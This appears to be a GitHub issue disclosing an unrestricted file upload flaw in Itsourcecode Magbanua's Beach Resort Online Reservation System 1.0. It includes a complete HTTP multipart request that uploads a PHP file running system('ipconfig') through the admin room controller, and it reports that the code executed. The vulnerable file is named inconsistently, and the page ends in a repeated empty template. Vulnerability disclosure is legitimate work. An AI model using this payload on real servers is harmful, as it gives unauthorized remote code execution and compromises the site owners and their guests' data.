You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
In line 157 of the newdriver.php file, the input obtained through $-FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
Impact
Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE
DESCRIPTION
laster discovered that the file upload operation was triggered on line 157 of the 'controller.php' file and the uploaded file was received using the '$-FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).
Vulnerability details and POC
Payload
POST /admin/mod_room/controller.php?action=add HTTP/1.1
Host: 20.20.20.130:8102
Content-Length: 2677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://20.20.20.130:8102
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0fqtxeDv9FaLBl0E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://20.20.20.130:8102/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary0fqtxeDv9FaLBl0E
Content-Disposition: form-data; name="name"
3
------WebKitFormBoundary0fqtxeDv9FaLBl0E
Content-Disposition: form-data; name="rmtype"
93
------WebKitFormBoundary0fqtxeDv9FaLBl0E
Content-Disposition: form-data; name="price"
3
------WebKitFormBoundary0fqtxeDv9FaLBl0E
Content-Disposition: form-data; name="adult"
3
------WebKitFormBoundary0fqtxeDv9FaLBl0E
Content-Disposition: form-data; name="children"
3
------WebKitFormBoundary0fqtxeDv9FaLBl0E
Content-Disposition: form-data; name="image"; filename="rce.php"
Content-Type: image/jpeg
Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show
<?php system("ipconfig"); ?>
------WebKitFormBoundary0fqtxeDv9FaLBl0E
Content-Disposition: form-data; name="save"
------WebKitFormBoundary0fqtxeDv9FaLBl0E--
I successfully executed the PHP script on the terminal
The text was updated successfully, but these errors were encountered:
Itsourcecode Magbanua’s Beach Resort Online Reservation System 1.0 controller.php Unrestricted Upload
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
Vulnerability details and POC
Payload
I successfully executed the PHP script on the terminal
The text was updated successfully, but these errors were encountered: